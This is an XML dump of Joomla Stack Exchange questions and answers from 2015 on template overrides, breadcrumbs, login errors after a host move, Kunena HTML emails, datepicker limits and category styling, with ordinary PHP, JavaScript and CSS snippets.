  <row Id="8830" PostTypeId="1" CreationDate="2015-03-01T13:19:49.030" Score="2" ViewCount="1034" Body="&lt;p&gt;I'm trying to make the breadrumbs module to display also the page title but with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All i want is breadcrumbs and page title (of an article or menu) to display in same div!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example here:&#xA;&lt;a href=&quot;http://www.astemplates.com/itempreview/315&quot; rel=&quot;nofollow&quot;&gt;http://www.astemplates.com/itempreview/315&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example breadcrumbs float left and page title float right in same div!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I tried your advice but i recieve fatal error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did override the breadcrumbs module the default.php file and before  i put a div with the php that you wrote!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    defined('_JEXEC') or die;&#xA;&#xA;JHtml::_('bootstrap.tooltip');&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;title&amp;lt;?php echo JSite::getMenu()-&amp;gt;getItem(&amp;amp;JSite::getMenu()-&amp;gt;getActive()-&amp;gt;tree[0])-&amp;gt;title; ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;breadcrumb&amp;lt;?php echo $moduleclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    if ($params-&amp;gt;get('showHere', 1))&#xA;    {&#xA;        echo '&amp;lt;li class=&quot;active&quot;&amp;gt;' . JText::_('MOD_BREADCRUMBS_HERE') . '&amp;amp;#160;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;    else&#xA;    {&#xA;        echo '&amp;lt;li class=&quot;active&quot;&amp;gt;&amp;lt;span class=&quot;divider icon-location&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whay i'm doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="3796" LastEditorUserId="22" LastEditDate="2015-03-01T19:32:29.870" LastActivityDate="2015-03-02T21:43:44.207" Title="Breadcrumbs and Page title in same div module" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8831" PostTypeId="2" ParentId="8830" CreationDate="2015-03-01T13:44:45.557" Score="-1" Body="&lt;p&gt;You can override the breadcrumbs module from your template adding some html and styles to insert a right floating div and print inside the menu title with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JSite::getMenu()-&amp;gt;getItem(&amp;amp;JSite::getMenu()-&amp;gt;getActive()-&amp;gt;tree[0])-&amp;gt;title; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3760" LastActivityDate="2015-03-01T13:44:45.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8833" PostTypeId="2" ParentId="8830" CreationDate="2015-03-01T15:47:16.800" Score="2" Body="&lt;p&gt;Looder has reason JSite it's deprecated use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;&#xA;echo $app-&amp;gt;getMenu()-&amp;gt;getItem($app-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;tree[0])-&amp;gt;title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it works! (tested in a Joomla! 3.3.6)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But your html it's not valid if you want to show the breadcrumbs to the left and the page title to the right... must be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class = &quot;breadcrumbs&amp;lt;?php echo $moduleclass_sfx; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php if ($params-&amp;gt;get('showHere', 1))&#xA;{&#xA;    echo '&amp;lt;span class=&quot;showHere&quot;&amp;gt;' .JText::_('MOD_BREADCRUMBS_HERE').'&amp;lt;/span&amp;gt;';&#xA;}&#xA;&#xA;// Get rid of duplicated entries on trail including home page when using multilanguage&#xA;for ($i = 0; $i &amp;lt; $count; $i++)&#xA;{&#xA;    if ($i == 1 &amp;amp;&amp;amp; !empty($list[$i]-&amp;gt;link) &amp;amp;&amp;amp; !empty($list[$i - 1]-&amp;gt;link) &amp;amp;&amp;amp; $list[$i]-&amp;gt;link == $list[$i - 1]-&amp;gt;link)&#xA;    {&#xA;        unset($list[$i]);&#xA;    }&#xA;}&#xA;&#xA;// Find last and penultimate items in breadcrumbs list&#xA;end($list);&#xA;$last_item_key = key($list);&#xA;prev($list);&#xA;$penult_item_key = key($list);&#xA;&#xA;// Generate the trail&#xA;foreach ($list as $key =&amp;gt; $item) :&#xA;// Make a link if not the last item in the breadcrumbs&#xA;$show_last = $params-&amp;gt;get('showLast', 1);&#xA;if ($key != $last_item_key)&#xA;{&#xA;    // Render all but last item - along with separator&#xA;    if (!empty($item-&amp;gt;link))&#xA;    {&#xA;        echo '&amp;lt;a href=&quot;' . $item-&amp;gt;link . '&quot; class=&quot;pathway&quot;&amp;gt;' . $item-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;    }&#xA;    else&#xA;    {&#xA;        echo '&amp;lt;span&amp;gt;' . $item-&amp;gt;name . '&amp;lt;/span&amp;gt;';&#xA;    }&#xA;&#xA;    if (($key != $penult_item_key) || $show_last)&#xA;    {&#xA;        echo ' '.$separator.' ';&#xA;    }&#xA;&#xA;}&#xA;elseif ($show_last)&#xA;{&#xA;    // Render last item if reqd.&#xA;    echo '&amp;lt;span&amp;gt;' . $item-&amp;gt;name . '&amp;lt;/span&amp;gt;';&#xA;}&#xA;endforeach; ?&amp;gt;&#xA;&#xA;&amp;lt;div style=&quot;float:right;&quot;&amp;gt;&amp;lt;?php echo JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getItem(JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;tree[0])-&amp;gt;title; ?&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3760" LastEditorUserId="3760" LastEditDate="2015-03-01T15:52:54.440" LastActivityDate="2015-03-01T15:52:54.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8835" PostTypeId="1" CreationDate="2015-03-01T20:29:04.007" Score="1" ViewCount="593" Body="&lt;p&gt;I switched to a new Host after using a free hoster for months i finally got a good vHost.&#xA;But now i cannot login to my joomla backend anymore resulting in a strange error.&#xA;This happens whether i use my right or random credentials.&#xA;It just shows this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q0z6X.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Webmin for most settings.&#xA;I don't have a &lt;code&gt;.htaccess&lt;/code&gt; set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my &lt;code&gt;configuration.php&lt;/code&gt;: &lt;a href=&quot;http://pastebin.com/ncbpDj4J&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pastebin.com/ncbpDj4J&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you need any other info?&lt;/p&gt;&#xA;" OwnerUserId="3799" LastEditorUserId="1629" LastEditDate="2015-03-02T01:11:45.047" LastActivityDate="2015-04-01T01:40:50.613" Title="Joomla Backend - Cannot login after switching to new host. &quot;An error has occurred. 0 Cannot open file for writing log&quot;" Tags="|joomla-3.x|administrator|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8836" PostTypeId="2" ParentId="8835" CreationDate="2015-03-01T21:09:49.423" Score="1" Body="&lt;p&gt;Solved it!&lt;br&gt;&#xA;I uploaded the site as root but the virtual server runs as an other user so it was just a ownership/permission thing (i initially changed the chmod of /logs/ and /tmp/ to 777 to find that it suddenly worked)&lt;/p&gt;&#xA;" OwnerUserId="3799" LastActivityDate="2015-03-01T21:09:49.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8840" PostTypeId="2" ParentId="236" CreationDate="2015-03-02T08:39:44.177" Score="1" Body="&lt;p&gt;CCK content customisation kit.&#xA;Chronoforms is a forms component, because it doesnt affect the way the content is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;K2 is a CCK because because it customise the way of displaying items .&#xA;Virtuemart is a CCK because it customise the way of displaying items (list of products).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sh404sef is not a CCK because it doesnt affect content but URL.....&lt;/p&gt;&#xA;" OwnerUserId="3801" LastActivityDate="2015-03-02T08:39:44.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8841" PostTypeId="1" CreationDate="2015-03-02T08:50:00.320" Score="0" ViewCount="522" Body="&lt;p&gt;I am trying to edit my index.php for languages and just trying to put my logo on right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please show me what am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to put my logo on the left when language is arabic aa-AA and&#xA;  logo on the right when language is english en-GB&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $lang = JFactory::getLanguage();&#xA;  $result = $lang-&amp;gt;getTag();&#xA;  if ($result==&quot;en-GB&quot;) { &#xA;&#xA;       &amp;lt;div id=&quot;jf-logo&quot;&amp;gt;&#xA;&#xA;        &amp;lt;a href=&quot;index.php&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/images/logo.png&quot; alt=&quot;JF Texturia&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;!-- Main menu module --&amp;gt;&#xA;&#xA;      &amp;lt;div id=&quot;jf-mainmenu&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php if($this-&amp;gt;countModules('mainmenu')) : ?&amp;gt;&#xA;&#xA;&#xA;&#xA;           &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;mainmenu&quot; /&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;jf-submenu&quot;&amp;gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;submenu&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;/div&amp;gt;&#xA;  } &#xA;  else { &#xA;       &amp;lt;!-- Main menu module --&amp;gt;&#xA;&#xA;      &amp;lt;div id=&quot;jf-mainmenu&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php if($this-&amp;gt;countModules('mainmenu')) : ?&amp;gt;&#xA;&#xA;&#xA;&#xA;           &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;mainmenu&quot; /&amp;gt;&#xA;&#xA;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;jf-submenu&quot;&amp;gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;submenu&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;/div&amp;gt;&#xA;&#xA;       &amp;lt;div id=&quot;jf-logo&quot;&amp;gt;&#xA;&#xA;        &amp;lt;a href=&quot;index.php&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template ?&amp;gt;/images/logo.png&quot; alt=&quot;JF Texturia&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;      &amp;lt;/div&amp;gt;&#xA;  }&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3765" LastEditorUserId="126" LastEditDate="2016-01-21T23:25:24.143" LastActivityDate="2016-01-21T23:25:24.143" Title="Language condition and editing index.php" Tags="|joomla-3.x|templates|language|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8842" PostTypeId="1" CreationDate="2015-03-02T09:01:36.560" Score="2" ViewCount="171" Body="&lt;p&gt;I have a joomla site with Kunena installed on it. My users are not happy with the layout of the email sent to them from the forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is part of the code that is responsible for creating this email:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function createEmailBody($subscription, $subject, $url, $message, $once) {&#xA;    $config = KunenaFactory::getConfig();&#xA;    if ($subscription) {&#xA;        $msg1 = $this-&amp;gt;get ( 'parent' ) ? JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION1' ) : JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION1_CAT' );&#xA;        $msg2 = $this-&amp;gt;get ( 'parent' ) ? JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION2' ) : JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION2_CAT' );&#xA;    } else {&#xA;        $msg1 = JText::_ ( 'COM_KUNENA_POST_EMAIL_MOD1' );&#xA;        $msg2 = JText::_ ( 'COM_KUNENA_POST_EMAIL_MOD2' );&#xA;    }&#xA;&#xA;    $msg = $msg1 . &quot; &quot; . $config-&amp;gt;board_title . &quot;\n\n&quot;;&#xA;    // DO NOT REMOVE EXTRA SPACE, JMailHelper::cleanBody() removes &quot;Subject:&quot; from the message body&#xA;    $msg .= JText::_ ( 'COM_KUNENA_MESSAGE_SUBJECT' ) . &quot; : &quot; . $subject . &quot;\n&quot;;&#xA;    $msg .= JText::_ ( 'COM_KUNENA_CATEGORY' ) . &quot; : &quot; . $this-&amp;gt;getCategory()-&amp;gt;name . &quot;\n&quot;;&#xA;    $msg .= JText::_ ( 'COM_KUNENA_VIEW_POSTED' ) . &quot; : &quot; . $this-&amp;gt;getAuthor()-&amp;gt;getName('???', false) . &quot;\n\n&quot;;&#xA;    $msg .= &quot;URL : $url\n\n&quot;;&#xA;    if ($config-&amp;gt;mailfull == 1) {&#xA;        $msg .= JText::_ ( 'COM_KUNENA_MESSAGE' ) . &quot; :\n-----\n&quot;;&#xA;        $msg .= $message;&#xA;        $msg .= &quot;\n-----\n\n&quot;;&#xA;    }&#xA;    $msg .= $msg2 . &quot;\n&quot;;&#xA;    if ($subscription &amp;amp;&amp;amp; $once) {&#xA;        if ($this-&amp;gt;parent) {&#xA;            $msg .= JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION_MORE_READ' ) . &quot;\n&quot;;&#xA;        } else {&#xA;            $msg .= JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION_MORE_SUBSCRIBE' ) . &quot;\n&quot;;&#xA;        }&#xA;    }&#xA;    $msg .= &quot;\n&quot;;&#xA;    $msg .= JText::_ ( 'COM_KUNENA_POST_EMAIL_NOTIFICATION3' ) . &quot;\n&quot;;&#xA;    return JMailHelper::cleanBody ( $msg );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I decided to add an image as of the logo from my site to it at the bottom like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$msg .= ('&amp;lt;img src=&quot;http://mysite.me.ke/templates/jsn_nuru_free/images/colors/red/logo.png&quot; width=&quot;100&quot;/&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;butwhen the email was sent it returned the same thing I gave it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;img src=&quot;http://mysite.me.ke/templates/jsn_nuru_free/images/colors/red/logo.png&quot; width=&quot;100&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so I thought I should use htmlspecialchars_decode() php function as in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$msg .= htmlspecialchars_decode('&amp;lt;img src=&quot;http://mysite.me.ke/templates/jsn_nuru_free/images/colors/red/logo.png&quot; width=&quot;100&quot;/&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But still I got nothing new. Kindly help me out!&lt;/p&gt;&#xA;" OwnerUserId="3802" LastEditorUserId="3650" LastEditDate="2016-03-08T00:28:27.547" LastActivityDate="2016-11-14T15:37:34.617" Title="How to create Html email for Kunena" Tags="|kunena|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8843" PostTypeId="1" AcceptedAnswerId="8861" CreationDate="2015-03-02T09:43:30.903" Score="3" ViewCount="2061" Body="&lt;p&gt;Has anybody tried manipulating the DatePicker in Joomla? For example, In my datepicker, I am only able to select the date not greater than or equal than the current date, or from the datepicker, based on the current date, I will subtract days. For example, today is March 2, 2015. I will subtract 10 days from it, Maximum selectable date is February 23, 2015.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does joomla have something to do with this? Or is this achievable in javascript?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed this link from jQuery :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jqueryui.com/datepicker/#min-max&quot; rel=&quot;nofollow&quot;&gt;http://jqueryui.com/datepicker/#min-max&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this code for the datepicker after reading the guide from the link above but to no avail, it does not work. It's really frustrating. This is a basic functionality that Joomla should have.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function() {&#xA;jQuery( &quot;.datecalendar&quot; ).datepicker({ minDate: -20, maxDate: &quot;+1M +10D&quot; });&#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2015-03-02T12:58:24.580" LastActivityDate="2015-03-03T02:32:45.390" Title="Limiting Values for Calendar DatePicker" Tags="|joomla-3.x|javascript|jquery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8844" PostTypeId="2" ParentId="8841" CreationDate="2015-03-02T10:11:11.800" Score="1" Body="&lt;p&gt;I am probably misunderstanding something here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply make a module position, two logo modules (custom HTML, really) with a language specified and let Joomla! handle it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can do it in the CSS using the html[lang=&quot;aa-AA&quot;] selector. See &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors&quot; rel=&quot;nofollow&quot;&gt;attribute selectors&lt;/a&gt;. Browser compatibility is good enough I think. (ie anyone using a browser too old for this has bigger problems with your Joomla site...)&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-03-02T10:11:11.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8845" PostTypeId="2" ParentId="8843" CreationDate="2015-03-02T11:39:27.697" Score="1" Body="&lt;p&gt;There are some options you can control using &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/media/system/js/calendar-setup-uncompressed.js&quot; rel=&quot;nofollow&quot;&gt;Calendar.setup&lt;/a&gt;. But if you need more customization you will need &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow&quot;&gt;to create a custom field&lt;/a&gt; for that (may be with your own calendar script).&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-03-02T11:39:27.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8846" PostTypeId="1" CreationDate="2015-03-02T11:52:50.423" Score="2" ViewCount="119" Body="&lt;p&gt;As a component developer I can see how useful is to include events to call plugins so other people can extend you component without hacking your core files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I am always concerned about this “callings” to have a negative impact in performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create a component let ‘call it “com_mycomponent” it is also common to create a folder called “mycomponent” inside the plugins folder, and to make event triggers in strategic points in the component&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin(“mycomponent”);&#xA;&#xA;$dispatcher =&amp;amp; JDispatcher::getInstance();&#xA;&#xA;$dispatcher-&amp;gt;trigger('OnThisThingToHappen', array() )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What happened if I have several active plugins inside “plugins/mycomponent”?&#xA;I guess each time you trigger an event all these plugins are going to be loaded and their code interpreted by php to check it the respond to the event? It is not that heavy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, the question that brought me to write this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have a list view of an Item, can I include an event trigger in the item template? It would run on every item so the loading and parsing of all active plugin in your group would be repeated too.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-05-02T11:55:55.443" Title="Is triggering an event in a list view bad for performance?" Tags="|development|plugin|system-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8847" PostTypeId="2" ParentId="8842" CreationDate="2015-03-02T12:39:10.103" Score="1" Body="&lt;p&gt;I would suggest using &lt;code&gt;JUri::root()&lt;/code&gt; when defining the path of your site, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$msg .= '&amp;lt;img src=&quot;' . JUri::root() . 'templates/jsn_nuru_free/images/colors/red/logo.png&quot; width=&quot;100&quot;/&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition to this, I've removed the brackets you added outside the image tag as they're not required&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-03-02T13:15:36.963" LastActivityDate="2015-03-02T13:15:36.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8849" PostTypeId="2" ParentId="8822" CreationDate="2015-03-02T13:45:48.897" Score="1" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($params-&amp;gt;get('link_category') == 1) : ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($this-&amp;gt;item-&amp;gt;catslug)); ?&amp;gt;&quot; itemprop=&quot;genre&quot; class=&quot;btn btn-featured article-viewcat-btn&quot;&amp;gt;View all &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;category_title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was what I specifically needed, then on each category I could use the link category to show the button to all on the individual articles.&lt;/p&gt;&#xA;" OwnerUserId="3712" LastActivityDate="2015-03-02T13:45:48.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8850" PostTypeId="1" AcceptedAnswerId="9996" CreationDate="2015-02-24T21:52:23.393" Score="3" ViewCount="1157" Body="&lt;p&gt;First off, I'm a PHP noob :/ just to get that out of the way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to give each Joomla! category a class, so I can pre-style layouts for my client, and when they choose a Category, they would basically be choosing a style (Blog: Portrait w/Text Float, Blog: Landscape Pic w/Text, Blog: Multi-Pic Layout, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this thread for an older version of Joomla, but I received &quot;Undefined Property&quot; errors when I added their code to my index.php&#xA;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=466&amp;amp;t=406991&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?f=466&amp;amp;t=406991&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried adding their code to /components/com_content/views/category/tmpl/blog_item.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated,&#xA;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;edit: &lt;em&gt;Using Stock Protostar Template&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm using &quot;Featured Articles&quot; as my &quot;Blog&quot; Menu Item Type. Since this&#xA;  lists all Featured Articles regardless of Category, my hopes are to&#xA;  use the Categories (BlogStyle1, 2, etc.) to style the Featured&#xA;  Articles. That way, my client can just choose how she wants the blog&#xA;  to be styled, by choosing a category. To be clear, I want articles on&#xA;  the featured blog to have different styles, depending on the&#xA;  category.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5271" OwnerDisplayName="CSS Apprentice" LastEditorUserId="126" LastEditDate="2015-05-19T11:02:28.093" LastActivityDate="2015-05-19T11:02:28.093" Title="Joomla! - Give Blog Categories Classes" Tags="|php|template-override|com-content|category|style|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8851" PostTypeId="2" ParentId="8850" CreationDate="2015-02-25T16:18:32.500" Score="2" Body="&lt;p&gt;You have a few options, you can duplicate your current template and rename it. Then you can alter the css and add extra classes as required, then assign this template to your desired category pages. You can find some &lt;a href=&quot;https://docs.joomla.org/Giving_the_Front_Page_a_different_style_from_other_pages&quot; rel=&quot;nofollow&quot;&gt;help on how to do this here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest option (in my opinion) would be to use a different template for the category sections. Providing you can find a suitable template it will save you lots of time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your version of Joomla the instructions will be something like; &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Navigate to the template manager.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the template name to enter the template administrator screen or check the check box next to the template name and click on edit in the toolar at the top of the page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the “Menu Assignment” tab in the configuration screen&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You will then get a list of all menus defined on the website and list of all menu items in each menu. Select the menu item/s for which you want to assign this copy of the template.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on “Save &amp;amp; Close” button to save changes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The second way of assigning a template to a specific menu item is through the menu item configuration itself. This way of assigning a template can be useful when you already have prepared copies of the required template as described previously.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new menu item in the menu manager.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Look for a “Template Style” configuration parameter in menu item configuration.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the select box next to that parameter title and you will get a selection of available templates and template copies.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the appropriate template and click on the “Save” button.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;That menu item will be assigned to a selected template after that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you just need to find a template that you like!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" OwnerDisplayName="johnny_s" LastActivityDate="2015-02-25T16:18:32.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8852" PostTypeId="2" ParentId="8850" CreationDate="2015-02-26T08:35:12.897" Score="2" Body="&lt;p&gt;There's a very easy way. In menu manager it's possible to assign custom css classes to a menu item. In Protostar this page class will be applied directly to the component container, in this case &lt;code&gt;&amp;lt;div class=&quot;blog&quot;&amp;gt;&lt;/code&gt;, which will allow you to style the entire blog output with your custom css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1y0ui.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can add your styles using the page class to provide the scope, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.my-css-scope .page-header {opacity: .1;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Headsup! If you don't enter a space before your page class it will be appended to the default page class, e.g. &lt;code&gt;.blogmy-css-scope&lt;/code&gt; which, IMO is not so useful. I would always recommend entering a leading space before entering your page class in the menu option. The same is true elsewhere in Joomla, as with custom module classes for example.&lt;/p&gt;&#xA;" OwnerUserId="296" OwnerDisplayName="Seth Warburton" LastActivityDate="2015-02-26T08:35:12.897" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
